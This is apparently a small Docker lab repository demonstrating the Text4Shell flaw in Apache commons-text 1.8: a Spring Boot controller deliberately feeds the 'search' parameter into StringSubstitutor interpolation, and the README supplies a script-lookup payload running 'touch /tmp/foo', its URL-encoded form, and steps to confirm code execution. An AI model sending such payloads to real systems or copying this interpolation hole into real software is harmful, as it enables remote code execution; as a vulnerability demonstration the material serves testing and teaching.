├── .gitignore ├── Dockerfile ├── README.md ├── pom.xml └── src ├── main └── java │ └── com │ └── levo │ └── dockerexample │ ├── DockerApp.java │ └── controller │ └── HelloController.java └── test └── java └── com └── levo └── dockerexample └── PlaceHolderForTest.java /.gitignore: -------------------------------------------------------------------------------- 1 | bin 2 | target 3 | .classpath 4 | .project 5 | .settings 6 | src/main/webapp/META-INF 7 | .idea 8 | *.iml -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Use an official OpenJDK runtime as a parent image 2 | FROM openjdk:8-jre-alpine 3 | 4 | # set shell to bash 5 | # source: https://stackoverflow.com/a/40944512/3128926 6 | RUN apk update && apk add bash 7 | 8 | # Set the working directory to /app 9 | WORKDIR /app 10 | 11 | # Copy the fat jar into the container at /app 12 | COPY /target/text4shell-poc.jar /app 13 | 14 | # Make port 8080 available to the world outside this container 15 | EXPOSE 8080 16 | 17 | # Run jar file when the container launches 18 | CMD ["java", "-jar", "text4shell-poc.jar"] -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### Install maven - [maven-linux](https://www.digitalocean.com/community/tutorials/install-maven-linux-ubuntu) 2 | ------------- 3 | 4 | 5 | 1. Maven install to create the fat jar 6 | 7 | ``` 8 | mvn clean install 9 | ``` 10 | 11 | 2. Docker build 12 | 13 | ``` 14 | docker build --tag=text4shell . 15 | ``` 16 | 17 | 3. Docker run 18 | 19 | ``` 20 | docker run -p 80:8080 text4shell 21 | ``` 22 | 23 | 4. Test the app 24 | 25 | ``` 26 | http://localhost/text4shell/attack?search= 27 | ``` 28 | 29 | 5. Attack can be performed by passing a string “${prefix:name}” where the prefix is the aforementioned lookup: 30 | 31 | ``` 32 | ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')} 33 | ``` 34 | 35 | http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D 36 | 37 | 6. You can also try using `dns` or `url` prefixes. 38 | 39 | 7. Get the container id 40 | 41 | ``` 42 | docker container ls 43 | ``` 44 | 45 | 8. Get into the app 46 | 47 | ``` 48 | docker exec -it bash 49 | ``` 50 | 51 | 9. To check if above RCE was successful (You should see a file named `foo` created in the `/tmp` directory): 52 | 53 | ``` 54 | ls /tmp/ 55 | ``` 56 | 57 | 10. To stop the container 58 | 59 | ``` 60 | docker container stop 61 | ``` -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | com.levo.dockerexample 5 | docker-java-app-example 6 | jar 7 | 1.0-SNAPSHOT 8 | docker-java-app-example 9 | http://maven.apache.org 10 | 11 | 12 | UTF-8 13 | UTF-8 14 | 1.8 15 | com.levo.dockerexample.DockerApp 16 | 17 | 18 | 19 | org.springframework.boot 20 | spring-boot-starter-parent 21 | 2.1.1.RELEASE 22 | 23 | 24 | 25 | 26 | org.springframework.boot 27 | spring-boot-starter-web 28 | 29 | 30 | org.apache.commons 31 | commons-text 32 | 1.8 33 | 34 | 35 | 36 | 37 | text4shell-poc 38 | 39 | 40 | org.springframework.boot 41 | spring-boot-maven-plugin 42 | 43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /src/main/java/com/levo/dockerexample/DockerApp.java: -------------------------------------------------------------------------------- 1 | package com.levo.dockerexample; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class DockerApp { 8 | public static void main(String[] args) { 9 | SpringApplication.run(DockerApp.class, args); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /src/main/java/com/levo/dockerexample/controller/HelloController.java: -------------------------------------------------------------------------------- 1 | package com.levo.dockerexample.controller; 2 | 3 | import java.util.Date; 4 | 5 | import org.apache.commons.text.StringSubstitutor; 6 | 7 | import org.springframework.web.bind.annotation.ResponseBody; 8 | import org.springframework.web.bind.annotation.RequestMapping; 9 | import org.springframework.web.bind.annotation.RequestMethod; 10 | import org.springframework.web.bind.annotation.RequestParam; 11 | import org.springframework.web.bind.annotation.RestController; 12 | 13 | @RestController 14 | @RequestMapping("text4shell") 15 | public class HelloController { 16 | 17 | @RequestMapping(value = "/attack", method = RequestMethod.GET) 18 | @ResponseBody 19 | public String attack(@RequestParam(defaultValue="5up3r541y4n") String search) { 20 | StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); 21 | // String pocstring = "${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}"; 22 | try{ 23 | String pwn = interpolator.replace(search); 24 | } catch(Exception e) { 25 | System.out.println(e); 26 | } 27 | return "Search results for: " + search; 28 | } 29 | 30 | } 31 | -------------------------------------------------------------------------------- /src/test/java/com/levo/dockerexample/PlaceHolderForTest.java: -------------------------------------------------------------------------------- 1 | package com.levo.dockerexample; 2 | 3 | public class PlaceHolderForTest { 4 | 5 | } 6 | --------------------------------------------------------------------------------